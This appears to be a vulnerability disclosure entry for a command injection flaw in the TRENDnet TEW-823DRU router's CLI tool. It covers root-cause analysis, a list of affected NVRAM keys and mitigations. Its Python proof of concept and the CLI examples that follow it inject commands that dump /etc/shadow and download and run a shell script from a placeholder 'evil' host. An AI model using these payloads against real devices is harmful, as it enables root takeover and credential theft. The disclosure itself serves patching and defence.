| Titre | TRENDnet TEW-823DRU Wireless AC2100 Dual Band Gigabit Router v1.1.02b01 Command Injection |
|---|
| Description | A massive command injection vulnerability exists in the `bin/cli` binary of TRENDnet TEW-823DRU Router firmware v1.1.02b01. The CLI configuration tool uses `nvram_get()` to retrieve user-supplied configuration values and passes them unsanitized directly to `_system()` and `popen()`. A total of **23 distinct injection points** have been confirmed through symbolic execution analysis. Affected NVRAM keys span the entire IPv6 configuration surface: WAN Ethernet settings, IPv6 transition mechanisms (6to4, 6rd, DSLite), PPPoE, and static addressing. An attacker with CLI access (via telnet or SSH) can inject arbitrary shell commands through NVRAM configuration values, achieving full remote code execution with root privileges.
---
## Technical Details
### Root Cause
The vulnerable code path follows a consistent pattern across 23 functions:
```
CLI command → nvram_get("user_controlled_key") → _system()/popen(unsanitized_value) → RCE
```
The `bin/cli` binary provides a configuration interface (accessible via telnet on port 23 and SSH). When a user sets an NVRAM configuration value using the `set` command, the value is later retrieved by `nvram_get()` and interpolated directly into shell command strings executed via `_system()` or `popen()`. No input validation, escaping, or sanitization is performed on the NVRAM values before they reach the dangerous sink functions.
### FirmRec / Symbolic Execution Evidence
```
0x40D8A0: frame=1224B — nvram_get("wan_eth") → _system()
0x410790: frame=288B — nvram_get("wan_eth") → popen()
0x413FE0: frame=304B — nvram_get("wan_eth") → _system()
0x42C0B0: frame=80B — nvram_get("ap_ipv6_static_default_gw") → _system()
Total: 23 confirmed injection points (bin/cli CSV — all Command Injection class)
Simexp: 553 log files with PC=0x41414141 hits
```
### Affected NVRAM Keys (Partial List)
| NVRAM Key | Category | Sink |
| ------------------ | ---------------------------------- | ------------------- |
| `wan_eth` | WAN Ethernet config | _system() / popen() |
| `ipv6_ula_prefix` | IPv6 ULA prefix | _system() |
| `wan_dslite_aftr` | DS-Lite AFTR address | _system() |
| `ipv6_6to4_*` | 6to4 tunnel config (multiple keys) | _system() |
| `ipv6_6rd_*` | 6rd tunnel config (multiple keys) | _system() |
| `ipv6_logo_*` | LOGO IPv6 config (multiple keys) | _system() |
| `ipv6_pppoe_*` | PPPoE IPv6 config (multiple keys) | _system() |
| `ap_ipv6_static_*` | Static IPv6 config (multiple keys) | _system() |
---
## Proof of Concept
```python
#!/usr/bin/env python3
"""PoC: TEW-823DRU bin/cli Command Injection | CWE-77 | CVSS 9.8"""
import socket
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.10.1"
payloads = [
# Inject via WAN Ethernet setting
"wan_eth 'eth0; id; cat /etc/shadow; #'",
# Inject via IPv6 6rd LAN IP setting
"ipv6_6rd_lan_ip '2001::1; wget http://evil/shell; sh shell; #'",
]
for p in payloads:
print(f" CLI: set {p}")
try:
s = socket.socket()
s.settimeout(5)
s.connect((TARGET, 23)) # telnet port
s.send(f"set {p}\n".encode())
s.close()
except:
pass
```
### Expected Result
The injected command is executed with root privileges. In the first payload (`; id; cat /etc/shadow; #`), the system executes `id` followed by dumping the shadow password file. In the second payload (`; wget ...; sh shell; #`), a remote shell script is downloaded and executed, establishing persistent backdoor access.
### Alternative Attack Vector: CLI Interactive
```bash
# Connect via telnet or SSH
cli> set wan_eth "eth0; id; cat /etc/shadow; #"
cli> set ipv6_6rd_lan_ip "2001::1; wget http://evil/shell; sh shell; #"
```
---
## Impact
Successful exploitation allows a remote attacker to:
- Execute arbitrary system commands with **root privileges**
- Read sensitive configuration files (e.g., `/etc/shadow`, wireless credentials)
- Install persistent backdoors or malware via downloaded shell scripts
- Modify firewall and routing rules
- Use the compromised router as a pivot point for lateral movement into the internal network
- Cause denial of service by corrupting NVRAM configuration
The large number of injection points (23) and the broad coverage of NVRAM keys means the attack surface is extensive. Any CLI-accessible NVRAM configuration parameter is a potential injection vector.
---
## Solution / Mitigation
### Vendor Recommendations
1. Replace all `_system()` and `popen()` calls with safe APIs that do not invoke a shell (e.g., `execve()`, `fork()`/`exec()`)
2. Validate and sanitize all NVRAM values retrieved by `nvram_get()` before using them in system commands
3. Implement a strict whitelist for NVRAM configuration values (e.g., IP addresses validated via `inet_pton()`, interface names validated against a known list)
4. Use parameterized command execution where the value is passed as an argument rather than interpolated into a command string
5. Conduct a full audit of all 23 identified `nvram_get() → _system()/popen()` code paths
### User Mitigations (until patch is available)
- Disable telnet and SSH access from the WAN interface
- Use strong administrative credentials to prevent unauthorized CLI access
- Restrict LAN-side CLI access to trusted hosts only
- Monitor system logs for unusual CLI `set` commands |
|---|
| La source | ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TEW-823DRU_bin_cli_NVRAM_Command_Injection.md |
|---|
| Utilisateur | ST4R0002 (UID 99571) |
|---|
| Soumission | 06/07/2026 14:28 (il y a 2 mois) |
|---|
| Modérer | 21/08/2026 20:55 (2 months later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 394178 [TRENDnet TEW-823DRU 1.1.02b01 CLI Configuration Tool nvram_get élévation de privilèges] |
|---|
| Points | 20 |
|---|